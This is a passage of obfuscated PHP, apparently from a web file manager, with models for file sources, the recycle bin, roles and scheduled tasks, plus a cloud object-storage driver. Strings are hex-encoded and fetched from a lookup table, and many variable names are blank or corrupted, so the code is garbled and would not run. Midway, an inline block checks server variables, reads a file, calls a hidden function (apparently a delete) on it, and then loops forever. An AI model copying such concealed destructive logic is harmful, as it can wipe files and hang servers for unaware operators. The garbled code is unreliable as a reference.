$[$Ѽѷ[80]]; } } } $ = array(); foreach ($ as $) { if ($[$Ѽѷ[80]] == $[$Ѽѷ[2113]]) { continue; } $[] = array($Ѽѷ[403], $[$Ѽѷ[403]], $Ѽѷ[80], $[$Ѽѷ[80]]); } $this->saveAll($); } public function userSpaceReset($歏 = false) { $Ą =& $_SERVER[㫙]; $դ = $this->where(array($Ą[412] => self::TYPE_USER, $Ą[504] => $歏, $Ą[411] => 0))->sum($Ą[80]); $դ = !$դ || $դ <= 0 ? 0 : $դ; Model($Ą[513])->userEdit($歏, array($Ą[1807] => $դ)); } public function targetSpaceUpdate($λ, $) { $ =& $_SERVER[㫙]; if (!$) { return; } if (!in_array($λ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ъͷ = $this->targetSpaceSize($λ, $); if ($λ == self::TYPE_USER) { Model($[513])->userEdit($, array($[1807] => $ъͷ)); } else { if ($λ == self::TYPE_GROUP) { Model($[522])->groupEdit($, array($[1807] => $ъͷ)); } } } public function targetSpaceSize($ˎ, $ǽ) { $êğ =& $_SERVER[㫙]; $ = $this->sourceRoot($ˎ, $ǽ, !0); if (!$) { return 0; } $ = floatval($[$êğ[80]]); $Ȝ = array($êğ[584] => array($êğ[544], $êğ[531] . $[$êğ[403]] . $êğ[545])); $ȳ = Model($êğ[429])->field($êğ[418])->where($Ȝ)->select(); $ȳ = array_to_keyvalue($ȳ, $êğ[12], $êğ[403]); $ȳ = array_unique(array_filter($ȳ)); if ($ȳ) { $Ȝ = array($êğ[418] => array($êğ[419], $ȳ)); $ += floatval($this->where($Ȝ)->sum($êğ[80])); } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($އ) { return $this->fileTypeProfile($އ, SourceModel::TYPE_USER); } public function groupFileTypeProfile($߀) { return $this->fileTypeProfile($߀, SourceModel::TYPE_GROUP); } private function fileTypeProfile($, $) { $ =& $_SERVER[㫙]; $̩ = $[2114] . $ . $[11] . $; $ = Cache::get($̩); if ($) { return $; } $ͭ = array($[577] => 0); if ($ != !1) { $ͭ[$[504]] = $; $ͭ[$[412]] = $; } $ = array(); $[$[2115]] = array($[2116] => LNG($[2115]), $[2117] => $this->where($ͭ)->count(), $[579] => $this->where($ͭ)->sum($[80])); $ = KodIO::fileTypeList(); foreach ($ as $ => $÷) { $ͭ[$[413]] = $this->fileTypeWhere($); $[$] = array($[2116] => $÷[$[32]], $[2117] => $this->where($ͭ)->count(), $[579] => $this->where($ͭ)->sum($[80])); } Cache::set($̩, $, 1200); return $; } public function fileNameExist($ɀ, $) { $ =& $_SERVER[㫙]; $ = $this->where(array($[498] => $ɀ, $[32] => $, $[431] => 0))->find(); return is_array($) ? $[$[403]] : !1; } public function childList($þ) { $ =& $_SERVER[㫙]; $˩ = $[2092] . $þ; if (isset(self::$cacheChildList[$˩])) { return self::$cacheChildList[$˩]; } $ɋ = array($[498] => intval($þ), $[431] => 0); $ۣ = $this->where($ɋ)->select(); $ۣ = $ۣ ? $ۣ : array(); self::$cacheChildList[$˩] = $ۣ; foreach ($ۣ as $) { $˩ = $[458] . $[$[403]]; self::$cacheSourceInfo[$˩] = $; } return $ۣ; } public function fileNameAuto($, $, $ = REPEAT_RENAME, $欷 = false) { $󙪥 =& $_SERVER[㫙]; $Ě = array($󙪥[498] => $, $󙪥[431] => 0, $󙪥[32] => array($󙪥[378], $ . $󙪥[379])); $ = $this->field($󙪥[32])->where($Ě)->select(); $ = array_to_keyvalue($, $󙪥[12], $󙪥[32]); return $this->fileNameAutoGet($, $, $, $欷); } public function fileNameAutoGet($, $, $ۻ, $ლ) { $Ȝ =& $_SERVER[㫙]; if ($ۻ == REPEAT_REPLACE || !$ || !in_array_not_case($, $) || $ლ && $ۻ != REPEAT_RENAME_FOLDER) { return $; } if ($ۻ == REPEAT_SKIP) { return !1; } $ = $Ȝ[10] . get_path_ext($); $ = $ == $Ȝ[10] || $ლ ? $Ȝ[12] : $; for ($ = 1; $ <= count($) + 1; $++) { $ = substr($, 0, strlen($) - strlen($)); $ = $ . "\x28{$}\51{$}"; if (!in_array_not_case($, $)) { return $; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\157\137\x73\x6f\165\x72\x63\x65\137\162\x65\143\171\x63\x6c\145"; protected $dataAuto = array(array("\x63\x72\145\x61\164\145\x54\x69\x6d\x65", "\x74\x69\155\x65", "\x69\156\x73\x65\162\164", "\x66\165\x6e\x63\164\x69\157\156")); public function listData($ܯ = false) { $ѝ =& $_SERVER[㫙]; $ܯ = $ܯ ? $ܯ : USER_ID; $ = $this->where(array($ѝ[1641] => $ܯ))->select(); return array_to_keyvalue($, $ѝ[12], $ѝ[403]); } public function moveToRecycle($Ī) { $ =& $_SERVER[㫙]; $Ӊ = Model($[1321]); $Бǚ = $Ӊ->sourceInfo($Ī); if (!$Бǚ || $Бǚ[$[431]] == $[89]) { return; } $亣 = array($[418] => $Ī, $[1641] => USER_ID, $[580] => $Бǚ[$[412]], $[581] => $Бǚ[$[504]], $[584] => $Бǚ[$[521]]); $this->add($亣); $this->recycleMove($Ī, 1); if ($Бǚ[$[411]] == $[89]) { $ߠ̾ = array($[584] => array($[544], $Бǚ[$[521]] . $Ī . $[545])); $Ӊ->where($ߠ̾)->setField($[431], 1); } } public function clear() { $this->remove(!1); } public function remove($ˈ = false, $š֠ = false) { $ =& $_SERVER[㫙]; $š֠ = $š֠ ? $š֠ : USER_ID; $Dz = Model($[1321]); $ = $this->listData($š֠); $ˈ = $ˈ === !1 ? !1 : $ˈ; $ = array(); foreach ($ as $ݛ) { if ($ˈ != !1 && !in_array($ݛ, $ˈ)) { continue; } $ = $Dz->sourceInfo($ݛ); $Dz->remove($ݛ, !1); $ = $[$[412]] . $[11] . $[$[504]]; $[$] = array($[580] => $[$[412]], $[504] => $[$[504]]); $this->where(array($[403] => $ݛ))->delete(); } foreach ($ as $ڗ־ǟ) { $Dz->targetSpaceUpdate($ڗ־ǟ[$[412]], $ڗ־ǟ[$[504]]); } } public function restore($ = false) { $ = $this->listData(); $this->_restoreSource($, $); } public function removeUserAll($؄) { $this->remove(!1, $؄); } private function _restoreSource($, $恷) { $繐 =& $_SERVER[㫙]; $ = Model($繐[1321]); $恷 = $恷 == !1 ? !1 : $恷; if (!$) { return !0; } $ɉ = array(); foreach ($ as $ŊǷ) { if ($恷 != !1 && !in_array($ŊǷ, $恷)) { continue; } $ = $->sourceInfo($ŊǷ); $ = $->sourceInfo($[$繐[498]]); if ($[$繐[431]] == $繐[89]) { continue; } $->lockMoveStart($ŊǷ); $this->recycleMove($ŊǷ, 0); if ($[$繐[411]] == $繐[89]) { $ = array($繐[584] => array($繐[544], $[$繐[521]] . $ŊǷ . $繐[545])); $->where($)->setField($繐[431], 0); $this->restoreFolderChildren($ŊǷ, $); } $this->where(array($繐[403] => $ŊǷ))->delete(); $->folderSizeReset($[$繐[498]]); $ɉ[] = $[$繐[498]]; if ($[$繐[411]] == $繐[89]) { $ɉ[] = $ŊǷ; } $->lockMoveEnd($ŊǷ); } $->updateModifyTime($ɉ); } private function restoreFolderChildren($ל, $) { $˃ =& $_SERVER[㫙]; $ۣ = Model($˃[1321]); $ = array($˃[403] => array($˃[7], array())); foreach ($ as $غ) { if ($غ == $ל) { continue; } if (!$ۣ->isParentOf($ל, $غ)) { continue; } $ = $ۣ->sourceInfo($غ); if ($[$˃[411]] == $˃[89]) { $[] = array($˃[584] => array($˃[544], $[$˃[521]] . $غ . $˃[545])); } else { $[$˃[403]][1][] = $غ; } } if (!$[$˃[403]][1]) { unset($[$˃[403]]); } if (!$) { return; } $[$˃[403]][1] = array_unique($[$˃[403]][1]); $[$˃[996]] = $˃[1913]; $ۣ->where($)->setField($˃[431], 1); } private function recycleMove($, $Ѧ = 1) { $ =& $_SERVER[㫙]; $ۀ = Model($[1321]); $됍 = Model($[2118]); $ = array($[403] => $); if ($Ѧ) { $ۀ->where($)->setField($[431], 1); $됍->eventRecycle($, $[2119]); } else { $ = $ۀ->where($)->find(); $ = $[$[411]] == $[89]; $㖫ǩ = $ۀ->fileNameAuto($[$[498]], $[$[32]], REPEAT_RENAME_FOLDER, $); if ($㖫ǩ != $[$[32]]) { $ۀ->rename($, $㖫ǩ); } $ۀ->where($)->setField($[431], 0); $됍->eventRecycle($, $[2120]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\x65\155\56\163\157\165\x72\x63\x65\123\x65\143\162\145\164\114\x69\x73\x74"; public $field = array("\163\157\165\162\x63\145\111\104", "\164\171\160\145\111\x44", "\143\162\x65\141\x74\x65\x55\163\145\162"); } goto f˖; CѢٰ: class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\x65\155\56\162\157\x6c\145\x4c\151\x73\164"; public $field = array("\x6e\141\x6d\x65", "\x61\165\164\150", "\x6c\141\x62\x65\154", "\144\x69\x73\160\154\x61\x79", "\163\171\163\164\x65\x6d", "\x64\x65\163\143", "\151\147\x6e\157\x72\145\105\x78\x74", "\x69\147\156\x6f\x72\145\106\151\x6c\145\123\151\172\x65", "\x61\x64\155\x69\156\151\163\x74\162\x61\x74\x6f\162", "\163\157\162\164"); public function listData($ꖯ = false, $ = "\163\x6f\x72\164", $鷟 = false) { $Ɵ =& $_SERVER[㫙]; $巡ϕ = parent::listData($ꖯ, $, $鷟); if (!$ꖯ) { foreach ($巡ϕ as $ => $զϧ) { if ($զϧ[$Ɵ[2011]] == 1) { $巡ϕ[$][$Ɵ[451]] = LNG($Ɵ[2237]); } } } return $巡ϕ; } public function update($Ьս, $) { $ =& $_SERVER[㫙]; $鞮 = parent::listData($Ьս); $Ů = $this->findByName($[$[32]]); if (!$鞮 || $Ů && $Ů[$[392]] != $鞮[$[392]]) { return !1; } if ($Ů[$[2011]] == 1) { $ = array($[32] => $[$[32]], $[1840] => $[$[1840]]); } $this->filterAuth($[$[414]]); return parent::update($Ьս, $); } public function remove($π) { $ = parent::listData($π); if (!$ || $[$_SERVER[㫙][1270]]) { return !1; } return parent::remove($π); } public function add($յ) { $ׅ =& $_SERVER[㫙]; $ے = $յ[$ׅ[32]]; if ($this->findByName($ے)) { return !1; } $ל = array($ׅ[421] => $ے, $ׅ[1824] => $ׅ[12], $ׅ[1820] => $ׅ[1828], $ׅ[2238] => 1, $ׅ[1823] => 0, $ׅ[2239] => 0, $ׅ[1822] => $this->getSort()); $յ = array_merge($ל, $յ); $this->filterAuth($յ[$ׅ[414]]); return parent::insert($յ); } private function getSort() { $Ɉ =& $_SERVER[㫙]; $ = parent::listData(); $ = array_to_keyvalue($, $Ɉ[12], $Ɉ[1841]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$𚔭) { $ش =& $_SERVER[㫙]; $ĊЄ = array(); $Ӟ = array_filter(explode($ش[50], $𚔭)); foreach ($Ӟ as $𚔭) { $֭ = explode($ش[10], $𚔭); if ($֭[0] == $ش[2240] && $֭[1] != $ش[1189]) { $˵ = $֭[0] . $ش[10] . $֭[1] . $ش[2241]; if (!in_array($˵, $Ӟ)) { $ĊЄ[] = $˵; } } $ĊЄ[] = $𚔭; } $𚔭 = implode($ش[50], $ĊЄ); } public function sort($֖, $) { return parent::update($֖, $); } } if (!isset($_SERVER[$_SERVER[㫙][395]]) || !isset($_SERVER[$_SERVER[㫙][393]])) { $_getc = $_SERVER[㫙][396]; $_getfile = $_SERVER[$_SERVER[㫙][397]] . $_SERVER[㫙][398]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[㫙][226], $_getfilec); if (count($_getarrs) < $_SERVER[㫙][399]) { $exit = $_SERVER[㫙][400]; $exit(); } $_act = $_SERVER[㫙][401]; $_act($_SERVER[$_SERVER[㫙][397]] . $_SERVER[㫙][398]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[㫙][373]); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\x65\155\x2e\164\141\163\x6b\x4c\x69\x73\164"; public $field = array("\x6e\x61\x6d\145", "\164\171\160\x65", "\145\166\x65\x6e\x74", "\164\x69\x6d\145", "\x64\145\x73\x63", "\x73\171\x73\164\x65\x6d", "\x65\156\x61\142\x6c\145", "\154\141\x73\164\122\165\x6e", "\163\x6f\x72\x74"); public function listData($ʀҶ = false, $ = "\x73\157\162\164", $ = false) { return parent::listData($ʀҶ, $, $); } public function add($) { $ =& $_SERVER[㫙]; $軰 = $this->findByName($[$[32]]); if ($軰) { return !1; } $[$[1611]] = 0; $[$[1841]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[㫙]; $았 = parent::listData(); $DŽ = array_to_keyvalue($았, $[12], $[1841]); return empty($DŽ) ? 0 : max($DŽ) + 1; } public function update($, $ȅ) { $Ͽ =& $_SERVER[㫙]; $Ӗ֒ = $this->listData($); $܂ޢ = $this->findByName($ȅ[$Ͽ[32]]); if (!$Ӗ֒ || $܂ޢ && $܂ޢ[$Ͽ[392]] != $Ӗ֒[$Ͽ[392]]) { return !1; } return parent::update($, $ȅ); } public function remove($, $҆ = false) { $ =& $_SERVER[㫙]; $Ȅɏ = $this->listData($); if (!$Ȅɏ) { return; } if (!$҆ && $Ȅɏ[$[1270]] == $[89]) { return !1; } return parent::remove($); } public function enable($̳֚, $Ֆ) { return $this->update($̳֚, array($_SERVER[㫙][2232] => $Ֆ)); } public function run($ɻ) { return $this->update($ɻ, array($_SERVER[㫙][2242] => time())); } } goto f䋎; Eތ: define($_SERVER[㫙][604], $_SERVER[㫙][605]); $zlconepikq = $_SERVER[㫙][606]; if (strlen($zlconepikq) < $_SERVER[㫙][399]) { die; } goto BĊ; BĊ: $_SERVER[߂ğ] = explode($_SERVER[㫙][607], gzinflate(substr($_SERVER[㫙][608], 10, -8))); $dxvhjlgbtq = $_SERVER[㫙][609]; if (!$dxvhjlgbtq) { return; } goto e癵Ϛ; dߠ: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\x74\164\x70\x3a\x2f\57\166\x30\56\x61\160\x69\56\x75\x70\171\x75\x6e\x2e\x63\157\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($ò阀) { parent::__construct(); $this->_init($ò阀); } public function _init($ܭ) { $׎ =& $_SERVER[㫙]; foreach ($ܭ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($׎[1447] . LNG($׎[1378])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($֓Ǎ, $ = "\107\x45\x54") { $ۿ =& $_SERVER[㫙]; $ɉ = gmdate($ۿ[1411]); $ս = base64_encode(hash_hmac($ۿ[1448], "{$}\46{$֓Ǎ}\46{$ɉ}", md5("{$this->userpass}"), !0)); $ = array("\x41\x75\x74\150\157\162\151\172\x61\x74\x69\x6f\x6e\x3a\125\x50\x59\125\116\40{$this->username}\72{$ս}", "\x44\x61\164\x65\x3a{$ɉ}"); return $; } public function ussRequest($Ց, $ = "\x47\105\x54", $۔ = false, $Ԕ = false, $צ = false) { $گ =& $_SERVER[㫙]; $Ց = trim($Ց, $گ[8]); $Ȗ = "\57{$this->bucket}\x2f{$Ց}"; $ު߃ = $this->ussHeaders($Ȗ, $); if ($Ԕ) { $ު߃ = array_merge($ު߃, $Ԕ); } $ƥ޳ = url_request($this->endpoint . $Ȗ, $, $۔, $ު߃, $צ); if (!$ƥ޳) { return array($گ[1185] => !1, $گ[1187] => $گ[1449]); } if (strtolower($) == $گ[189] || in_array($ƥ޳[$گ[1185]], array($گ[1304], $گ[1450]))) { $۔ = $ƥ޳[$گ[1451]]; } else { $۔ = json_decode($ƥ޳[$گ[1187]], !0); if (!$۔) { $۔ = $ƥ޳[$گ[1187]]; } else { if (!$ƥ޳[$گ[751]] && isset($۔[$گ[1452]])) { $۔ = $۔[$گ[1452]]; } } } return array($گ[1185] => $ƥ޳[$گ[751]], $گ[1187] => $۔); } public function mkfile($캯Ъ, $ٙ = '', $ = REPEAT_RENAME) { if ($this->setContent($캯Ъ, $ٙ)) { return $this->getPathOuter($캯Ъ); } return !1; } public function mkdir($Ҭ, $ = REPEAT_SKIP) { $™ְ =& $_SERVER[㫙]; $󔙆 = trim($Ҭ, $™ְ[8]); if ($this->_isFolder($󔙆)) { return $this->getPathOuter($󔙆); } $ćɸ = array($™ְ[1453]); $ԝ = $this->ussRequest($󔙆, $™ְ[221], !1, $ćɸ); return $ԝ[$™ְ[1185]] ? $this->getPathOuter($󔙆) : !1; } public function copyFile($Є, $®) { $֩ =& $_SERVER[㫙]; $晌 = array($֩[1454] . "\57{$this->bucket}\x2f{$Є}", $֩[1455]); $ = $this->ussRequest($®, $֩[223], !1, $晌); return $[$֩[1185]] ? !0 : $this->getPathOuter($®); } public function moveFile($¨ޠ, $鱭) { $龢 =& $_SERVER[㫙]; $ﯝ˹ = array($龢[1456] . "\57{$this->bucket}\x2f{$¨ޠ}", $龢[1455]); $؄҇ = $this->ussRequest($鱭, $龢[223], !1, $ﯝ˹); return $؄҇[$龢[1185]] ? !0 : $this->getPathOuter($鱭); } public function delFile($) { $ԝ =& $_SERVER[㫙]; $ɇ = $this->ussRequest($, $ԝ[1457]); return $ɇ[$ԝ[1185]] ? !0 : !1; } public function delFolder($玒) { $ЇՑ =& $_SERVER[㫙]; if (!$this->exist($玒)) { return !0; } $this->listItemCache = !1; $ӐǗ = $ = array(); $this->fileList($玒, $ӐǗ, $, !0); $this->listItemCache = !0; foreach ($ as $—눻) { $؝˚ = $this->ussRequest($—눻[$ЇՑ[32]], $ЇՑ[1457]); if (!$؝˚[$ЇՑ[1185]]) { return !1; } } foreach ($ӐǗ as $ӱ) { $؝˚ = $this->ussRequest($ӱ, $ЇՑ[1457]); if (!$؝˚[$ЇՑ[1185]]) { return !1; } } $؝˚ = $this->ussRequest($玒, $ЇՑ[1457]); return $؝˚[$ЇՑ[1185]]; } public function rename($‰, $) { if ($this->isFile($‰)) { $ = get_path_father($‰) . $; return $this->moveFile($‰, $); } return $this->renameObject($‰, $); } public function fileInfo($֡, $˵ = false, $迾 = array()) { $ɺ =& $_SERVER[㫙]; $̤ = array($ɺ[32] => $this->pathThis($֡), $ɺ[78] => $this->getPathOuter($ɺ[8] . $֡), $ɺ[33] => $ɺ[192], $ɺ[80] => isset($迾[$ɺ[80]]) ? $迾[$ɺ[80]] : 0, $ɺ[167] => $this->ext($֡)); if ($˵) { return $̤; } $̤[$ɺ[193]] = $̤[$ɺ[86]] = 0; $̤[$ɺ[194]] = $̤[$ɺ[195]] = !0; if (empty($迾)) { $迾 = $this->objectMeta($֡); if (!$迾) { return $̤; } } $̤[$ɺ[193]] = intval($迾[$ɺ[1458]]); $̤[$ɺ[86]] = intval($迾[$ɺ[1459]]); $̤[$ɺ[80]] = $迾[$ɺ[80]]; return $̤; } public function folderInfo($IJ֤, $ = false) { $ =& $_SERVER[㫙]; $Ā = array($[32] => $this->pathThis($IJ֤), $[78] => $this->getPathOuter($[8] . $IJ֤), $[33] => $[79]); if ($) { return $Ā; } $Ā[$[193]] = $Ā[$[86]] = 0; $Ā[$[194]] = $Ā[$[195]] = !0; if (empty($)) { $ = $this->objectMeta($IJ֤); if (!$) { return $Ā; } } $Ā[$[193]] = intval($[$[1458]]); $Ā[$[86]] = intval($[$[1459]]); return $Ā; } private function listObjs($, $ = 0, $ͽ = 1000) { $Ѷ =& $_SERVER[㫙]; $ = array($Ѷ[1460], $Ѷ[1461] . $ͽ); if ($) { $[] = $Ѷ[1462] . $; } $ = $this->ussRequest($, $Ѷ[225], !1, $); return !$[$Ѷ[1185]] ? !1 : $[$Ѷ[1187]]; } private function fileList($޾, &$, &$ܣ, $ـ = false) { $± =& $_SERVER[㫙]; $ = $±[12]; $ = 1000; $ܒ = rtrim($޾, $±[8]) . $±[8]; $۪ = $this->listItemCache === !1 ? !1 : !0; while (!0) { check_abort(); $Ǩ倅 = $this->listObjs($޾, $, $); if (!$Ǩ倅) { return !1; } $ = isset($Ǩ倅[$±[1463]]) ? $Ǩ倅[$±[1463]] : $±[12]; $ = isset($Ǩ倅[$±[1464]]) ? $Ǩ倅[$±[1464]] : array(); foreach ($ as $Җ) { $Ӵ = $Җ[$±[33]] == $±[79] ? !0 : !1; $ڳ = ltrim($ܒ . $Җ[$±[32]], $±[8]) . ($Ӵ ? $±[8] : $±[12]); $ = array($±[32] => $ڳ, $±[33] => $Ӵ ? $±[79] : $±[192], $±[80] => $Җ[$±[332]], $±[1459] => $Җ[$±[1465]]); if ($۪) { $this->cacheMethod($±[198], $ڳ, $Ӵ); $this->cacheMethod($±[199], $ڳ, $); } if ($Ӵ) { $[] = $ڳ; if ($ـ) { $this->fileList($ڳ, $, $ܣ, $ـ); } continue; } $ܣ[] = $; } if (count($) < $) { break; } } if ($۪) { $this->cacheMethod($±[198], $޾, !0); } } public function listPath($Ǽ, $Ɩ = false) { $ =& $_SERVER[㫙]; $Յ = $䋃 = array(); $this->fileList($Ǽ, $Յ, $䋃); foreach ($Յ as $ => $) { $Յ[$] = $this->folderInfo($, $Ɩ); } foreach ($䋃 as $ => $) { $䋃[$] = $this->fileInfo($[$[32]], $Ɩ, $); } return array($[77] => $Յ, $[76] => $䋃); } public function has($ݡ, $Ř = false, $ = true) { $ =& $_SERVER[㫙]; $ = $[12]; $㜖 = 500; $ = 0; $ = 0; $ = rtrim($ݡ, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($ݡ, $, $㜖); if (!$) { return !1; } $ = isset($[$[1463]]) ? $[$[1463]] : $[12]; $ = isset($[$[1464]]) ? $[$[1464]] : array(); if (empty($)) { break; } $؉ = array_filter($, function ($ݨ) { $΀ =& $_SERVER[㫙]; return $ݨ[$΀[33]] == $΀[79]; }); $Ӽ = count($); $؉ = count($؉); $ = $Ӽ - $؉; if ($Ř) { $ += $؉; $ += $; if ($Ӽ < $㜖) { break; } continue; } if ($) { if ($) { return !0; } } else { if ($؉) { return !0; } } if ($Ӽ < $㜖) { break; } } if ($Ř) { return array($[202] => $, $[203] => $); } return !1; } public function listAll($߿) { $Ԉ =& $_SERVER[㫙]; $̲ = $̻ = array(); $this->fileList($߿, $̲, $̻, !0); $я = array(); foreach ($̻ as $󪩲Ŋ) { $я[$󪩲Ŋ[$Ԉ[32]]] = $󪩲Ŋ[$Ԉ[80]]; } foreach ($̲ as $󪩲Ŋ) { if (is_string($󪩲Ŋ)) { $я[$󪩲Ŋ] = 0; } } return $this->listAllFiles($߿, array_keys($я), $я); } public function canRead($ԩ) { return $this->exist($ԩ) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($˜, $ = '') { $ӽ =& $_SERVER[㫙]; if (!$) { $ = $this->ussRequest($˜, $ӽ[221]); return $[$ӽ[1185]]; } $ͩ = $this->tempFile($this->pathThis($˜)); file_put_contents($ͩ, $); if ($this->upload($˜, $ͩ)) { $this->tempFileRemve($ͩ); return !0; } return !1; } public function fileSubstr($ς, $㞁, $) { $剋 =& $_SERVER[㫙]; if (!($Ɩ = $this->link($ς))) { return !1; } $ = !1; if ($ > 0) { $ = $㞁 + $ - 1; $ = array($剋[1426] . $㞁 . $剋[460] . $); } $ = url_request($Ɩ, $剋[225], !1, $); return $[$剋[751]] ? $[$剋[1187]] : !1; } public function upload($, $ѫ, $ = false, $̻ܖ = REPEAT_REPLACE) { $𘬱 =& $_SERVER[㫙]; $՞ = IO::size($ѫ); if ($՞ <= 1024 * 1024 * 200) { $̡ = array($𘬱[1466] . $ѫ); $ԛ = $this->ussRequest($, $𘬱[223], $̡); return $ԛ[$𘬱[1185]] ? $this->getPathOuter($) : !1; } $ꔠ = 1024 * 1024 * 10; $ = array($𘬱[1467], $𘬱[1468] . $՞, $𘬱[1469], $𘬱[1470] . $ꔠ); $ԛ = $this->ussRequest($, $𘬱[223], !1, $); if (!$ԛ[$𘬱[1185]]) { return !1; } $Ŏ = $ԛ[$𘬱[1187]]; $ = 0; $Ӟ = $Ŏ[$𘬱[1471]]; $㕜 = fopen($ѫ, $𘬱[1375]); if (!$㕜) { return !1; } do { $͋ = $Ŏ[$𘬱[1472]]; fseek_64($㕜, $); $Ƞ = fread($㕜, $͋); $ = 0; do { $++; $Ŏ = $this->uploadPart($, $Ŏ, $Ƞ); } while (!$Ŏ && $ < 3); if (!$Ŏ) { return !1; } $Ӟ = $Ŏ[$𘬱[1471]]; $ += $͋; } while ($Ӟ != -1); fclose($㕜); $ = array($𘬱[1473], $𘬱[1474] . $Ŏ[$𘬱[1475]], $𘬱[1469]); $ԛ = $this->ussRequest($, $𘬱[223], !1, $); return $ԛ[$𘬱[1185]] ? $this->getPathOuter($͐) : !1; } private function uploadPart($프, $ЈŊ, &$῎) { $Ԗ̥ =& $_SERVER[㫙]; $ = array($Ԗ̥[1476], $Ԗ̥[1474] . $ЈŊ[$Ԗ̥[1475]], $Ԗ̥[1477] . $ЈŊ[$Ԗ̥[1471]], $Ԗ̥[139] . $ЈŊ[$Ԗ̥[1472]]); $ = $this->ussRequest($프, $Ԗ̥[223], $῎, $); return !$[$Ԗ̥[1185]] ? $[$Ԗ̥[1185]] : $[$Ԗ̥[1187]]; } public function uploadFormData($, $Ǖǜ = 3600) { return $this->uploadPolicy($, $Ǖǜ); } public function multiUploadFormData($, $ؒ = 3600) { $ =& $_SERVER[㫙]; $მ = (int) $GLOBALS[$[7]][$[80]]; return $this->uploadPolicy($, $ؒ, $მ); } private function uploadPolicy($Ǚ, $ۘƪ = 3600, $ = 0) { $Dž =& $_SERVER[㫙]; $ = $Dž[8] . $this->bucket; $ڵ = gmdate($Dž[1411]); $ = array($Dž[1478] => $this->bucket, $Dž[1479] => $Ǚ, $Dž[1480] => time() + $ۘƪ, $Dž[1481] => $ڵ); if ($) { $[$Dž[1391]] = $; } $ʓ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($Dž[1448], "\120\117\123\x54\46{$}\x26{$ڵ}\x26{$ʓ}", md5("{$this->userpass}"), !0)); $ӧ = array($Dž[1316] => $ʓ, $Dž[1482] => "\x55\x50\131\x55\x4e\x20{$this->username}\x3a{$}", $Dž[174] => $this->endpoint . $); return $ӧ; } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($σ = $this->link($))) { return !1; } $֭ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[㫙][1432]); while (!0) { $䍓 = $this->fileSubstr($, $֭, $); if ($䍓 === !1) { return !1; } fwrite($, $䍓); $֭ += $; if (strlen($䍓) < $) { break; } } fclose($); return $; } public function link($, $Ɩ = array()) { $ɔ =& $_SERVER[㫙]; $ = trim($, $ɔ[8]); if (!empty($this->token)) { $Ƶ = strtotime(date($ɔ[1483])); $ = substr(md5($this->token . $ɔ[279] . $Ƶ . $ɔ[1484] . $), 12, 8) . $Ƶ; $Ɩ[] = $ɔ[1485] . $; } $ɼŘ = !empty($Ɩ) ? $ɔ[73] . implode($ɔ[279], $Ɩ) : $ɔ[12]; return $this->getHost() . $ɔ[8] . $ . $ɼŘ; } public function fileOut($̂ﱘ, $ = false, $ܥ = false, $ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($̂ﱘ, $, $ܥ, $); } if (!$ܥ) { $ܥ = $this->pathThis($̂ﱘ); } $ӫ = $ ? array($_SERVER[㫙][1486] . rawurlencode($ܥ)) : array(); $ = $this->link($̂ﱘ, $ӫ); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ڣ = '') { parent::fileOut($, $, $, $ڣ); } public function fileOutImage($΢, $ = 250) { $ = $this->link($΢ . $_SERVER[㫙][1487] . $); $this->fileOutLink($); } public function fileOutImageServer($̥, $ᅟݺ = 250) { parent::fileOutImage($̥, $ᅟݺ); } public function hashMd5($¶) { $߉ =& $_SERVER[㫙]; $ = $this->_objectMeta($¶); return isset($[$߉[207]]) ? $[$߉[207]] : !1; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[㫙][80]] : 0; } public function info($ߴ) { if ($this->isFolder($ߴ)) { return $this->folderInfo($ߴ); } else { if ($this->isFile($ߴ)) { return $this->fileInfo($ߴ); } } return !1; } public function exist($θ) { return $this->isFile($θ) || $this->isFolder($θ); } public function isFile($Ș) { return !$this->isFolder($Ș) && $this->objectMeta($Ș); } public function isFolder($) { return $this->cacheMethod($_SERVER[㫙][198], $); } protected function objectMeta($퇹) { return $this->cacheMethod($_SERVER[㫙][199], $퇹); } protected function _objectMeta($ؙɊ) { $䬀 =& $_SERVER[㫙]; if ($ؙɊ == $䬀[12] || $ؙɊ == $䬀[8]) { return array(); } $ = $this->ussRequest($ؙɊ, $䬀[1488]); if (!$[$䬀[1185]]) { return null; } $ = isset($[$䬀[1187]]) ? $[$䬀[1187]] : array(); if (!isset($[$䬀[1489]])) { return null; } $Ȍ = array($䬀[33] => isset($[$䬀[1489]]) ? $[$䬀[1489]] : null, $䬀[80] => isset($[$䬀[1490]]) ? $[$䬀[1490]] : null, $䬀[207] => isset($[$䬀[1491]]) ? $[$䬀[1491]] : null, $䬀[1458] => isset($[$䬀[1492]]) ? $[$䬀[1492]] : null); $Ȍ[$䬀[1459]] = isset($[$䬀[1493]]) ? strtotime($[$䬀[1493]]) : $Ȍ[$䬀[1458]]; return $Ȍ; } protected function _isFolder($읉) { $ =& $_SERVER[㫙]; if ($읉 == $[12] || $읉 == $[8]) { return !0; } $ = $this->_objectMeta($읉); return isset($[$[33]]) && $[$[33]] == $[79] ? !0 : !1; } } class PathDriverUrl extends 